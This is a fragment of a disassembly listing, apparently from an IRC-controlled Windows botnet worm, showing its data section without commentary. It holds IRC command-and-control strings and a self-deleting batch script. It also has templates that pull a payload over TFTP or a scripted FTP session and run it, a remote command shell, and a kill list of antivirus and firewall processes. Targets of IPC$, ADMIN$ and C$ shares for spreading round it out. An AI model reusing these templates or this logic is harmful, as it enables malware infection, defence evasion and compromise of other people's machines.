		unicode	0, <p>,0
aQ_0:					; DATA XREF: .data:0044F2D0o
		unicode	0, <q>,0
aRs		db 'rs',0               ; DATA XREF: .data:0044F2D4o
		align 4
aT_0:					; DATA XREF: .data:0044F2D8o
		unicode	0, <t>,0
aU_0:					; DATA XREF: .data:0044F2DCo
		unicode	0, <u>,0
aV_0:					; DATA XREF: .data:0044F2E0o
		unicode	0, <v>,0
aW:					; DATA XREF: .data:0044F2E4o
		unicode	0, <w>,0
asc_44FA98:				; DATA XREF: .data:0044F2E8o
		unicode	0, <x>,0
aY:					; DATA XREF: .data:0044F2ECo
		unicode	0, <y>,0
aZ:					; DATA XREF: .data:0044F2F0o
		unicode	0, <z>,0
aHappy		db 'happy',0            ; DATA XREF: .data:0044F2F4o
		align 4
aRg		db 'rg',0               ; DATA XREF: .data:0044F2F8o
		align 10h
aTy		db 'ty',0               ; DATA XREF: .data:0044F2FCo
		align 4
aGf		db 'gf',0               ; DATA XREF: .data:0044F300o
		align 4
aRt		db 'rt',0               ; DATA XREF: .data:0044F304o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .data:0044F308o
aUi		db 'ui',0               ; DATA XREF: .data:0044F30Co
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .data:0044F310o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .data:0044F314o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .data:0044F318o
		align 4
aMuckc		db 'muckc',0            ; DATA XREF: .data:0044F31Co
		align 4
aZ_0:					; DATA XREF: .data:0044F320o
		unicode	0, <z>,0
aG_0:					; DATA XREF: .data:0044F324o
		unicode	0, <g>,0
aS_39:					; DATA XREF: .data:0044F328o
		unicode	0, <s>,0
aQ_1:					; DATA XREF: .data:0044F32Co
		unicode	0, <q>,0
aBrb		db 'BRB',0              ; DATA XREF: .data:0044F330o
aBbl		db '|bbl',0             ; DATA XREF: .data:0044F334o
		align 10h
a___0		db '_|_',0              ; DATA XREF: .data:0044F340o
aF_0:					; DATA XREF: .data:0044F354o
		unicode	0, <F>,0
aM_3:					; DATA XREF: .data:0044F358o
		unicode	0, <M>,0
aLuvu		db 'LUVU',0             ; DATA XREF: .data:0044F35Co
		align 4
aSad		db 'Sad',0              ; DATA XREF: .data:0044F360o
aF_1		db '^^^f^',0            ; DATA XREF: .data:0044F364o
		align 10h
aB_0:					; DATA XREF: .data:0044F368o
		unicode	0, <b>,0
aSleeping	db 'Sleeping',0         ; DATA XREF: .data:0044F370o
		align 10h
aFuck_0		db 'Fuck',0             ; DATA XREF: .data:0044F37Co
		align 4
aFree_0		db 'Free',0             ; DATA XREF: .data:0044F380o
		align 10h
asc_44FB40:				; DATA XREF: .data:0044F38Co
		unicode	0, <X>,0
aBoy		db 'BOY',0              ; DATA XREF: .data:0044F394o
aGirl_0		db 'GIRL',0             ; DATA XREF: .data:0044F398o
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: .data:0044F39Co
		align 4
aShit		db 'shit',0             ; DATA XREF: .data:0044F3A0o
		align 10h
aAha		db 'aha',0              ; DATA XREF: .data:0044F3A4o
aYeah		db 'yeah',0             ; DATA XREF: .data:0044F3A8o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .data:0044F3ACo
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .data:0044F3B0o
		align 4
aMofo		db 'mofo',0             ; DATA XREF: .data:0044F3B4o
		align 4
aTot_0		db 'tot',0              ; DATA XREF: .data:0044F3B8o
aLol		db 'lol',0              ; DATA XREF: .data:0044F3BCo
aLoloA		db 'lolo|a|',0          ; DATA XREF: .data:0044F3C0o
aSex4free	db '|sex4free|',0       ; DATA XREF: .data:0044F3C4o
		align 10h
a4us		db '|4us|',0            ; DATA XREF: .data:0044F3C8o
		align 4
a4you		db '{4you}',0           ; DATA XREF: .data:0044F3CCo
		align 10h
a4u		db '|4u|',0             ; DATA XREF: .data:0044F3D0o
		align 4
a5u		db '5u',0               ; DATA XREF: .data:0044F3D4o
		align 4
a6u		db '6u',0               ; DATA XREF: .data:0044F3D8o
		align 10h
; char asc_44FBC0[]
asc_44FBC0	db 0Ah,0		; DATA XREF: sub_4182F9+6o
		align 4
; char asc_44FBC4[]
asc_44FBC4	db ' ',0                ; DATA XREF: sub_418340+Co
		align 4
; char asc_44FBC8[]
asc_44FBC8	db ' ',0                ; DATA XREF: sub_418340:loc_418366o
		align 4
; char aPing_1[]
aPing_1		db 'PING',0             ; DATA XREF: sub_418340+52o
		align 4
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_418340+63o
		align 10h
; char a433[]
a433		db '433',0              ; DATA XREF: sub_418340:loc_4183AAo
; char a432[]
a432		db '432',0              ; DATA XREF: sub_418340+7Bo
; char aNickS_9[]
aNickS_9	db 'NICK %s',0Ah,0      ; DATA XREF: sub_418340+B3o
		align 4
; char aNickSUserSHotm[]
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_41842D+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
; char a__3[]
a__3		db '-|`_\{[]}',0        ; DATA XREF: sub_418650+BCo
					; sub_418650+175r ...
		align 10h
dword_44FC30	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00418B3Do
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44FC7C	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	.text:00418B7Co
dword_44FC98	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: .text:00418BB1o
dword_44FCAC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: .text:00418BD8o
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418E65+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_418F2A+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_418F2A+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418FAF+1Co
		align 4
aSS_11		db '%s %s',0            ; DATA XREF: .text:00419098o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4190D4+2o
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4190F6+48o
		align 4
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4190F6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4190F6+140o
		align 4
; char asc_44FD78[]
asc_44FD78	db '-'                  ; DATA XREF: sub_41927E+5Co
		db 3, 34h, 2
		dd 2676F6Ch, 25202D03h,	6F6C2073h, 6C632067h, 65726165h
		dd 64h
unk_44FD94	db  2Dh	; -		; DATA XREF: sub_41927E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
; char asc_44FDBC[]
asc_44FDBC	db '-'                  ; DATA XREF: sub_41927E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .text:004193DEo
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .text:00419407o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_419471+58o
		align 10h
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_419471+65o
		align 4
off_44FE88	dd offset dword_44FEDC	; DATA XREF: sub_41958E+60r
					; sub_419965+51r ...
off_44FE8C	dd offset aAdded	; DATA XREF: sub_41958E+2Dr
					; sub_419965+83r ...
					; "Added"
dword_44FE90	dd 0			; DATA XREF: sub_41958E+18r
		dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1
		dd offset aPause_0	; "Pause"
		dd offset aPaused_0	; "Paused"
		dd 2
		dd offset aContinue_0	; "Continue"
		dd offset aContinued	; "Continued"
		dd 3
dword_44FEDC	dd 646441h		; DATA XREF: .data:off_44FE88o
aAdded		db 'Added',0            ; DATA XREF: .data:off_44FE8Co
		align 4
aDelete_1	db 'Delete',0           ; DATA XREF: .data:0044FE94o
		align 10h
aDeleted	db 'Deleted',0          ; DATA XREF: .data:0044FE98o
aList_1		db 'List',0             ; DATA XREF: .data:0044FEA0o
		align 10h
aListed		db 'Listed',0           ; DATA XREF: .data:0044FEA4o
		align 4
aStart_0	db 'Start',0            ; DATA XREF: .data:0044FEACo
		align 10h
aStarted	db 'Started',0          ; DATA XREF: .data:0044FEB0o
aStop_0		db 'Stop',0             ; DATA XREF: .data:0044FEB8o
		align 10h
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0044FEBCo
aPause_0	db 'Pause',0            ; DATA XREF: .data:0044FEC4o
		align 10h
aPaused_0	db 'Paused',0           ; DATA XREF: .data:0044FEC8o
		align 4
aContinue_0	db 'Continue',0         ; DATA XREF: .data:0044FED0o
		align 4
aContinued	db 'Continued',0        ; DATA XREF: .data:0044FED4o
		align 10h
; char asc_44FF50[]
asc_44FF50	db '-'                  ; DATA XREF: sub_41958E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_44FF6C	db  2Dh	; -		; DATA XREF: sub_41958E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_44FF98[]
asc_44FF98	db '-'                  ; DATA XREF: sub_41958E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4196AA:loc_419783o
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4196AA:loc_419704o
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4196AA+3Co
		align 10h
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4196AA:loc_4196FAo
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4196AA:loc_41970Eo
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4196AA:loc_419758o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4196AA+8Fo
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4196AA:loc_41978Ao
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4196AA:loc_419791o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4196AA:loc_419798o
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4196AA:loc_41979Fo
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4196AA:loc_4197A6o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4196AA:loc_4197ADo
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4196AA:loc_419743o
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4196AA:loc_41974Ao
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4196AA:loc_419718o
		db 'dependent on it.',0
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4196AA:loc_4196F0o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4196AA:loc_419751o
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4196AA:loc_4197B4o
		db 'the state of the service.',0
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4196AA:loc_4197BBo
		align 4
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4196AA:loc_4197C2o
		align 4
; char aAnUnknownError[]
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4196AA+12Co
		align 4
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_419828+25o
		align 4
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_419828:loc_4198F4o
aStarting	db '   Starting',0      ; DATA XREF: sub_419828:loc_4198EDo
aStoping	db '    Stoping',0      ; DATA XREF: sub_419828:loc_4198E6o
aRunning	db '    Running',0      ; DATA XREF: sub_419828:loc_4198DFo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_419828:loc_4198D8o
aPausing	db '    Pausing',0      ; DATA XREF: sub_419828:loc_4198D1o
aPaused		db '     Paused',0      ; DATA XREF: sub_419828:loc_4198CAo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_419828+9Bo
; char aSSS_2[]
aSSS_2		db '%s: %s (%s)',0      ; DATA XREF: sub_419828+EBo
; char asc_4504F4[]
asc_4504F4	db '-'                  ; DATA XREF: sub_419965+8Ao
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	68732073h, 3A657261h, 73252720h
		dd 27h
; char asc_450510[]
asc_450510	db '-'                  ; DATA XREF: sub_419965+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_45053C[]
asc_45053C	db '-'                  ; DATA XREF: sub_419965+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419B5B+26o
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419B5B+B5o
aNo		db 'No',0               ; DATA XREF: sub_419B5B+BCo
		align 10h
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419B5B+D0o
		align 4
; char asc_4505B8[]
asc_4505B8	db '-'                  ; DATA XREF: sub_419B5B+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
; char asc_4505E0[]
asc_4505E0	db '-'                  ; DATA XREF: sub_419C7C+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
; char asc_450600[]
asc_450600	db '-'                  ; DATA XREF: sub_419C7C+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
; char asc_450630[]
asc_450630	db '-'                  ; DATA XREF: sub_419C7C+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419DC3+50o
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419DC3+84o
		align 4
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419DC3+AFo
		align 4
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419DC3+DAo
aGuest		db 'Guest',0            ; DATA XREF: sub_419DC3:loc_419EE2o
		align 4
aUser_3		db 'User',0             ; DATA XREF: sub_419DC3:loc_419EDBo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419DC3:loc_419ED4o
		align 4
aUnknown_1	db 'Unknown',0          ; DATA XREF: sub_419DC3+10Ao
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419DC3+12Bo
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419DC3+156o
		align 10h
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419DC3+181o
		align 4
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419DC3+1ACo
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419DC3+1D7o
		align 4
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419DC3+202o
		align 10h
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419DC3+22Do
		align 4
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419DC3+258o
		align 4
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419DC3+283o
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419DC3+2AEo
		align 4
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419DC3+2D9o
		align 10h
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419DC3+304o
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419DC3+32Fo
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419DC3+35Ao
		align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419DC3+385o
		align 10h
; char asc_4507E0[]
asc_4507E0	db '-'                  ; DATA XREF: sub_419DC3+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41A1AC+29o
; char asc_450828[]
asc_450828	db '-'                  ; DATA XREF: sub_41A1AC+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
; char aS_30[]
aS_30		db '  %S',0             ; DATA XREF: sub_41A1AC+BEo
		align 4
; char asc_45085C[]
asc_45085C	db '-'                  ; DATA XREF: sub_41A1AC+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41A1AC+14Fo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41A32C:loc_41A38Fo
		align 4
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A3D0o
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A399o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41A32C+3Bo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41A32C:loc_41A385o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41A32C:loc_41A37Bo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41A32C:loc_41A371o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41A32C:loc_41A43Bo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41A32C+89o
		align 10h
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A32C:loc_41A3BFo
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41A32C:loc_41A3C9o
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A434o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41A32C+CFo
		db ' the domain.',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41A32C:loc_41A409o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41A32C:loc_41A402o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41A32C:loc_41A410o
		db 'ord policy requirement.)',0
		align 4
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41A32C:loc_41A449o
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41A32C:loc_41A3D7o
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41A32C:loc_41A442o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41A32C:loc_41A42Do
		align 4
; char asc_450B58[]
asc_450B58	db '-'                  ; DATA XREF: sub_41A460+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 10h
; char asc_450B80[]
asc_450B80	db '-'                  ; DATA XREF: sub_41A460+ABo
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	34032073h, 76726553h, 3A037265h
		dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
dword_450BAC	dd 7530h		; DATA XREF: sub_41A8E1+12r
off_450BB0	dd offset aRegedit_exe	; DATA XREF: sub_41A589+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe_0 ; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: sub_41A589+ECo
					; .data:off_450BB0o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .data:00450BB4o
		align 4
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .data:00450BB8o
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .data:00450BBCo
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .data:00450BC0o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .data:00450BC4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .data:00450BC8o
		align 4
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .data:00450BCCo
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00450BD0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00450BD4o
		align 4
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00450BD8o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:00450BDCo
aMsblast_exe_0	db 'MSBLAST.exe',0      ; DATA XREF: .data:00450BE0o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .data:00450BE4o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:00450BE8o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:00450BECo
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:00450BF0o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:00450BF4o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:00450BF8o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:00450BFCo
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:00450C00o
		align 10h
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:00450C04o
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:00450C08o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:00450C0Co
		align 4
aSedebugprivi_1	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+5Ao
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41A589+17Do
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_41A589+18Bo
		align 4
; char aSD_2[]
aSD_2		db ' %s (%d)',0         ; DATA XREF: sub_41A589+19Fo
		align 4
aSedebugprivi_2	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+207o
		align 4
; char asc_450DA8[]
asc_450DA8	db '-'                  ; DATA XREF: sub_41A7CC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_450DC8	db  2Dh	; -		; DATA XREF: sub_41A7CC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
; char asc_450DEC[]
asc_450DEC	db '-'                  ; DATA XREF: sub_41A7CC:loc_41A853o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 10h
; char aPrivmsgSS_4[]
aPrivmsgSS_4	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A969+33o
; char aS_31[]
aS_31		db '%s',0               ; DATA XREF: sub_41A969+4Co
		align 4
unk_450E24	db  2Dh	; -		; DATA XREF: sub_41A9F0:loc_41AAD6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_450E54	db  2Dh	; -		; DATA XREF: sub_41A9F0+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_450E7C	db  2Dh	; -		; DATA XREF: sub_41A9F0:loc_41AB22o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_41AB45+20o
; char asc_450EB4[]
asc_450EB4	db '-'                  ; DATA XREF: sub_41AB45+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
; char asc_450ED8[]
asc_450ED8	db '-'                  ; DATA XREF: sub_41AB45+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 10h
off_450F10	dd offset aIpc		; DATA XREF: sub_41AD5D+1B3o
					; sub_41B081+179o
					; "IPC$"
		align 8
		dd offset aAdmin_1	; "ADMIN$"
		align 10h
off_450F20	dd offset aC_5		; DATA XREF: sub_41B081+1E1o
					; "C$"
		dd offset aC_6		; "C:\\"
		dd offset aD_3		; "D$"
		dd offset aD_4		; "D:\\"
aIpc		db 'IPC$',0             ; DATA XREF: sub_41AD5D+217o
					; .data:off_450F10o
		align 4
aAdmin_1	db 'ADMIN$',0           ; DATA XREF: .data:00450F18o
		align 10h
aC_5		db 'C$',0               ; DATA XREF: .data:off_450F20o
		align 4
aC_6		db 'C:\',0              ; DATA XREF: .data:00450F24o
aD_3		db 'D$',0               ; DATA XREF: .data:00450F28o
		align 4
aD_4		db 'D:\',0              ; DATA XREF: .data:00450F2Co
word_450F50	dw 4Eh			; DATA XREF: sub_41AD5D+38r
		align 4
